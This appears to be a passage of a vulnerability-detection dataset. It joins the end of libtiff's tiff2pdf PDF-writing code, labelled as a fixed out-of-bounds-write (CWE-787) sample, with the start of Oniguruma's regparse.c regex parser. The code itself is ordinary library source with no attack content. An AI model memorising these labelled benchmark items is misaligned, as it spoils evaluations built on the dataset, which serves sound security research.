tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; if(t2p->pdf_compression==T2P_COMPRESS_NONE){ return(written); } written += t2pWriteFile(output, (tdata_t) "/Filter ", 8); switch(t2p->pdf_compression){ #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: written += t2pWriteFile(output, (tdata_t) "/CCITTFaxDecode ", 16); written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /K -1 ", 9); if(tile==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } } if(t2p->pdf_switchdecode == 0){ written += t2pWriteFile(output, (tdata_t) " /BlackIs1 true ", 16); } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: written += t2pWriteFile(output, (tdata_t) "/DCTDecode ", 11); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR) { written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /ColorTransform 1 >>\n", 24); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: written += t2pWriteFile(output, (tdata_t) "/FlateDecode ", 13); if(t2p->pdf_compressionquality%100){ written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /Predictor ", 14); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_compressionquality%100); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Columns ", 10); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Colors ", 9); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } break; #endif default: break; } return(written); } /* This function writes a PDF xref table to output. */ tsize_t t2p_write_pdf_xreftable(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[64]; int buflen=0; uint32 i=0; written += t2pWriteFile(output, (tdata_t) "xref\n0 ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n0000000000 65535 f \n", 22); for (i=0;i<t2p->pdf_xrefcount;i++){ snprintf(buffer, sizeof(buffer), "%.10lu 00000 n \n", (unsigned long)t2p->pdf_xrefoffsets[i]); written += t2pWriteFile(output, (tdata_t) buffer, 20); } return(written); } /* * This function writes a PDF trailer to output. */ tsize_t t2p_write_pdf_trailer(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; size_t i = 0; for (i = 0; i < sizeof(t2p->pdf_fileid) - 8; i += 8) snprintf(t2p->pdf_fileid + i, 9, "%.8X", rand()); written += t2pWriteFile(output, (tdata_t) "trailer\n<<\n/Size ", 17); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount+1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Root ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_catalog); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/Info ", 12); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_info); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/ID[<", 11); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) "><", 2); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) ">]\n>>\nstartxref\n", 16); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_startxref); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n%%EOF\n", 7); return(written); } /* This function writes a PDF to a file given a pointer to a TIFF. The idea with using a TIFF* as output for a PDF file is that the file can be created with TIFFClientOpen for memory-mapped use within the TIFF library, and TIFFWriteEncodedStrip can be used to write compressed data to the output. The output is not actually a TIFF file, it is a PDF file. This function uses only t2pWriteFile and TIFFWriteEncodedStrip to write to the output TIFF file. When libtiff would otherwise be writing data to the output file, the write procedure of the TIFF structure is replaced with an empty implementation. The first argument to the function is an initialized and validated T2P context struct pointer. The second argument to the function is the TIFF* that is the input that has been opened for reading and no other functions have been called upon it. The third argument to the function is the TIFF* that is the output that has been opened for writing. It has to be opened so that it hasn't written any data to the output. If the output is seekable then it's OK to seek to the beginning of the file. The function only writes to the output PDF and does not seek. See the example usage in the main() function. TIFF* output = TIFFOpen("output.pdf", "w"); assert(output != NULL); if(output->tif_seekproc != NULL){ t2pSeekFile(output, (toff_t) 0, SEEK_SET); } This function returns the file size of the output PDF file. On error it returns zero and the t2p->t2p_error variable is set to T2P_ERR_ERROR. After this function completes, call t2p_free on t2p, TIFFClose on input, and TIFFClose on output. */ tsize_t t2p_write_pdf(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; ttile_t i2=0; tsize_t streamlen=0; uint16 i=0; t2p_read_tiff_init(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets= (uint32*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_xrefcount,sizeof(uint32)) ); if(t2p->pdf_xrefoffsets==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_write_pdf", (unsigned int) (t2p->pdf_xrefcount * sizeof(uint32)) ); t2p->t2p_error = T2P_ERR_ERROR; return(written); } t2p->pdf_xrefcount=0; t2p->pdf_catalog=1; t2p->pdf_info=2; t2p->pdf_pages=3; written += t2p_write_pdf_header(t2p, output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_catalog=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_catalog(t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_info=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_info(t2p, input, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_pages=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_pages(t2p, output); written += t2p_write_pdf_obj_end(output); for(t2p->pdf_page=0;t2p->pdf_page<t2p->tiff_pagecount;t2p->pdf_page++){ t2p_read_tiff_data(t2p, input); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_page(t2p->pdf_xrefcount, t2p, output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; written += t2p_write_pdf_page_content_stream(t2p, output); streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); if(t2p->tiff_transferfunctioncount != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_transfer(t2p, output); written += t2p_write_pdf_obj_end(output); for(i=0; i < t2p->tiff_transferfunctioncount; i++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_transfer_dict(t2p, output, i); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_transfer_stream(t2p, output, i); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_palettecs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_stream_dict(t2p->pdf_palettesize, 0, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_palettecs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; t2p->pdf_icccs=t2p->pdf_xrefcount; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_icccs_dict(t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); /* streamlen=written; */ /* value not used */ written += t2p_write_pdf_xobject_icccs_stream(t2p, output); /* streamlen=written-streamlen; */ /* value not used */ written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); } if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount !=0){ for(i2=0;i2<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i2++){ t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( i2+1, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size_tile(t2p, input, i2); written += t2p_readwrite_pdf_image_tile(t2p, input, output, i2); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } else { t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_dict_start(output); written += t2p_write_pdf_xobject_stream_dict( 0, t2p, output); written += t2p_write_pdf_stream_dict_end(output); written += t2p_write_pdf_stream_start(output); streamlen=written; t2p_read_tiff_size(t2p, input); written += t2p_readwrite_pdf_image(t2p, input, output); t2p_write_advance_directory(t2p, output); if(t2p->t2p_error!=T2P_ERR_OK){return(0);} streamlen=written-streamlen; written += t2p_write_pdf_stream_end(output); written += t2p_write_pdf_obj_end(output); t2p->pdf_xrefoffsets[t2p->pdf_xrefcount++]=written; written += t2p_write_pdf_obj_start(t2p->pdf_xrefcount, output); written += t2p_write_pdf_stream_length(streamlen, output); written += t2p_write_pdf_obj_end(output); } } t2p->pdf_startxref = written; written += t2p_write_pdf_xreftable(t2p, output); written += t2p_write_pdf_trailer(t2p, output); t2p_disable(output); return(written); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5478_3
crossvul-cpp_data_good_3375_0
/********************************************************************** regparse.c - Oniguruma (regular expression library) **********************************************************************/ /*- * Copyright (c) 2002-2016 K.Kosako <sndgk393 AT ybb DOT ne DOT jp> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "regparse.h" #include "st.h" #ifdef DEBUG_NODE_FREE #include <stdio.h> #endif #define WARN_BUFSIZE 256 #define CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS OnigSyntaxType OnigSyntaxRuby = { (( SYN_GNU_REGEX_OP | ONIG_SYN_OP_QMARK_NON_GREEDY | ONIG_SYN_OP_ESC_OCTAL3 | ONIG_SYN_OP_ESC_X_HEX2 | ONIG_SYN_OP_ESC_X_BRACE_HEX8 | ONIG_SYN_OP_ESC_CONTROL_CHARS | ONIG_SYN_OP_ESC_C_CONTROL ) & ~ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END ) , ( ONIG_SYN_OP2_QMARK_GROUP_EFFECT | ONIG_SYN_OP2_OPTION_RUBY | ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP | ONIG_SYN_OP2_ESC_K_NAMED_BACKREF | ONIG_SYN_OP2_ESC_G_SUBEXP_CALL | ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY | ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT | ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT | ONIG_SYN_OP2_CCLASS_SET_OP | ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL | ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META | ONIG_SYN_OP2_ESC_V_VTAB | ONIG_SYN_OP2_ESC_H_XDIGIT ) , ( SYN_GNU_REGEX_BV | ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV | ONIG_SYN_DIFFERENT_LEN_ALT_LOOK_BEHIND | ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP | ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME | ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY | ONIG_SYN_WARN_CC_OP_NOT_ESCAPED | ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT ) , ONIG_OPTION_NONE , { (OnigCodePoint )'\\' /* esc */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar '.' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anytime '*' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* zero or one time '?' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* one or more time '+' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar anytime */ } }; OnigSyntaxType* OnigDefaultSyntax = ONIG_SYNTAX_RUBY; extern void onig_null_warn(const char* s ARG_UNUSED) { } #ifdef DEFAULT_WARN_FUNCTION static OnigWarnFunc onig_warn = (OnigWarnFunc )DEFAULT_WARN_FUNCTION; #else static OnigWarnFunc onig_warn = onig_null_warn; #endif #ifdef DEFAULT_VERB_WARN_FUNCTION static OnigWarnFunc onig_verb_warn = (OnigWarnFunc )DEFAULT_VERB_WARN_FUNCTION; #else static OnigWarnFunc onig_verb_warn = onig_null_warn; #endif extern void onig_set_warn_func(OnigWarnFunc f) { onig_warn = f; } extern void onig_set_verb_warn_func(OnigWarnFunc f) { onig_verb_warn = f; } extern void onig_warning(const char* s) { if (onig_warn == onig_null_warn) return ; (*onig_warn)(s); } #define DEFAULT_MAX_CAPTURE_NUM 32767 static int MaxCaptureNum = DEFAULT_MAX_CAPTURE_NUM; extern int onig_set_capture_num_limit(int num) { if (num < 0) return -1; MaxCaptureNum = num; return 0; } static unsigned int ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; extern unsigned int onig_get_parse_depth_limit(void) { return ParseDepthLimit; } extern int onig_set_parse_depth_limit(unsigned int depth) { if (depth == 0) ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; else ParseDepthLimit = depth; return 0; } static void bbuf_free(BBuf* bbuf) { if (IS_NOT_NULL(bbuf)) { if (IS_NOT_NULL(bbuf->p)) xfree(bbuf->p); xfree(bbuf); } } static int bbuf_clone(BBuf** rto, BBuf* from) { int r; BBuf *to; *rto = to = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(to); r = BBUF_INIT(to, from->alloc); if (r != 0) return r; to->used = from->used; xmemcpy(to->p, from->p, from->used); return 0; } #define BACKREF_REL_TO_ABS(rel_no, env) \ ((env)->num_mem + 1 + (rel_no)) #define ONOFF(v,f,negative) (negative) ? ((v) &= ~(f)) : ((v) |= (f)) #define MBCODE_START_POS(enc) \ (OnigCodePoint )(ONIGENC_MBC_MINLEN(enc) > 1 ? 0 : 0x80) #define SET_ALL_MULTI_BYTE_RANGE(enc, pbuf) \ add_code_range_to_buf(pbuf, MBCODE_START_POS(enc), ~((OnigCodePoint )0)) #define ADD_ALL_MULTI_BYTE_RANGE(enc, mbuf) do {\ if (! ONIGENC_IS_SINGLEBYTE(enc)) {\ r = SET_ALL_MULTI_BYTE_RANGE(enc, &(mbuf));\ if (r) return r;\ }\ } while (0) #define BITSET_IS_EMPTY(bs,empty) do {\ int i;\ empty = 1;\ for (i = 0; i < (int )BITSET_SIZE; i++) {\ if ((bs)[i] != 0) {\ empty = 0; break;\ }\ }\ } while (0) static void bitset_set_range(BitSetRef bs, int from, int to) { int i; for (i = from; i <= to && i < SINGLE_BYTE_SIZE; i++) { BITSET_SET_BIT(bs, i); } } #if 0 static void bitset_set_all(BitSetRef bs) { int i; for (i = 0; i < BITSET_SIZE; i++) { bs[i] = ~((Bits )0); } } #endif static void bitset_invert(BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { bs[i] = ~(bs[i]); } } static void bitset_invert_to(BitSetRef from, BitSetRef to) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { to[i] = ~(from[i]); } } static void bitset_and(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] &= bs[i]; } } static void bitset_or(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] |= bs[i]; } } static void bitset_copy(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] = bs[i]; } } extern int onig_strncmp(const UChar* s1, const UChar* s2, int n) { int x; while (n-- > 0) { x = *s2++ - *s1++; if (x) return x; } return 0; } extern void onig_strcpy(UChar* dest, const UChar* src, const UChar* end) { int len = end - src; if (len > 0) { xmemcpy(dest, src, len); dest[len] = (UChar )0; } } #ifdef USE_NAMED_GROUP static UChar* strdup_with_null(OnigEncoding enc, UChar* s, UChar* end) { int slen, term_len, i; UChar *r; slen = end - s; term_len = ONIGENC_MBC_MINLEN(enc); r = (UChar* )xmalloc(slen + term_len); CHECK_NULL_RETURN(r); xmemcpy(r, s, slen); for (i = 0; i < term_len; i++) r[slen + i] = (UChar )0; return r; } #endif /* scan pattern methods */ #define PEND_VALUE 0 #define PFETCH_READY UChar* pfetch_prev #define PEND (p < end ? 0 : 1) #define PUNFETCH p = pfetch_prev #define PINC do { \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PINC_S do { \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH_S(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PPEEK (p < end ? ONIGENC_MBC_TO_CODE(enc, p, end) : PEND_VALUE) #define PPEEK_IS(c) (PPEEK == (OnigCodePoint )c) static UChar* strcat_capa(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; if (dest) r = (UChar* )xrealloc(dest, capa + 1); else r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } /* dest on static area */ static UChar* strcat_capa_from_static(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r, dest, dest_end); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } #ifdef USE_ST_LIBRARY typedef struct { UChar* s; UChar* end; } st_str_end_key; static int str_end_cmp(st_str_end_key* x, st_str_end_key* y) { UChar *p, *q; int c; if ((x->end - x->s) != (y->end - y->s)) return 1; p = x->s; q = y->s; while (p < x->end) { c = (int )*p - (int )*q; if (c != 0) return c; p++; q++; } return 0; } static int str_end_hash(st_str_end_key* x) { UChar *p; int val = 0; p = x->s; while (p < x->end) { val = val * 997 + (int )*p++; } return val + (val >> 5); } extern hash_table_type* onig_st_init_strend_table_with_size(int size) { static struct st_hash_type hashType = { str_end_cmp, str_end_hash, }; return (hash_table_type* ) onig_st_init_table_with_size(&hashType, size); } extern int onig_st_lookup_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type *value) { st_str_end_key key; key.s = (UChar* )str_key; key.end = (UChar* )end_key; return onig_st_lookup(table, (st_data_t )(&key), value); } extern int onig_st_insert_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type value) { st_str_end_key* key; int result; key = (st_str_end_key* )xmalloc(sizeof(st_str_end_key)); key->s = (UChar* )str_key; key->end = (UChar* )end_key; result = onig_st_insert(table, (st_data_t )key, value); if (result) { xfree(key); } return result; } #endif /* USE_ST_LIBRARY */ #ifdef USE_NAMED_GROUP #define INIT_NAME_BACKREFS_ALLOC_NUM 8 typedef struct { UChar* name; int name_len; /* byte length */ int back_num; /* number of backrefs */ int back_alloc; int back_ref1; int* back_refs; } NameEntry; #ifdef USE_ST_LIBRARY typedef st_table NameTable; typedef st_data_t HashDataType; /* 1.6 st.h doesn't define st_data_t type */ #define NAMEBUF_SIZE 24 #define NAMEBUF_SIZE_1 25 #ifdef ONIG_DEBUG static int i_print_name_entry(UChar* key, NameEntry* e, void* arg) { int i; FILE* fp = (FILE* )arg; fprintf(fp, "%s: ", e->name); if (e->back_num == 0) fputs("-", fp); else if (e->back_num == 1) fprintf(fp, "%d", e->back_ref1); else { for (i = 0; i < e->back_num; i++) { if (i > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[i]); } } fputs("\n", fp); return ST_CONTINUE; } extern int onig_print_names(FILE* fp, regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { fprintf(fp, "name table\n"); onig_st_foreach(t, i_print_name_entry, (HashDataType )fp); fputs("\n", fp); } return 0; } #endif /* ONIG_DEBUG */ static int i_free_name_entry(UChar* key, NameEntry* e, void* arg ARG_UNUSED) { xfree(e->name); if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); xfree(key); xfree(e); return ST_DELETE; } static int names_clear(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_free_name_entry, 0); } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) onig_st_free_table(t); reg->name_table = (void* )NULL; return 0; } static NameEntry* name_find(regex_t* reg, const UChar* name, const UChar* name_end) { NameEntry* e; NameTable* t = (NameTable* )reg->name_table; e = (NameEntry* )NULL; if (IS_NOT_NULL(t)) { onig_st_lookup_strend(t, name, name_end, (HashDataType* )((void* )(&e))); } return e; } typedef struct { int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*); regex_t* reg; void* arg; int ret; OnigEncoding enc; } INamesArg; static int i_names(UChar* key ARG_UNUSED, NameEntry* e, INamesArg* arg) { int r = (*(arg->func))(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), arg->reg, arg->arg); if (r != 0) { arg->ret = r; return ST_STOP; } return ST_CONTINUE; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { INamesArg narg; NameTable* t = (NameTable* )reg->name_table; narg.ret = 0; if (IS_NOT_NULL(t)) { narg.func = func; narg.reg = reg; narg.arg = arg; narg.enc = reg->enc; /* should be pattern encoding. */ onig_st_foreach(t, i_names, (HashDataType )&narg); } return narg.ret; } static int i_renumber_name(UChar* key ARG_UNUSED, NameEntry* e, GroupNumRemap* map) { int i; if (e->back_num > 1) { for (i = 0; i < e->back_num; i++) { e->back_refs[i] = map[e->back_refs[i]].new_val; } } else if (e->back_num == 1) { e->back_ref1 = map[e->back_ref1].new_val; } return ST_CONTINUE; } extern int onig_renumber_name_table(regex_t* reg, GroupNumRemap* map) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_renumber_name, (HashDataType )map); } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num_entries; else return 0; } #else /* USE_ST_LIBRARY */ #define INIT_NAMES_ALLOC_NUM 8 typedef struct { NameEntry* e; int num; int alloc; } NameTable; #ifdef ONIG_DEBUG extern int onig_print_names(FILE* fp, regex_t* reg) { int i, j; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if 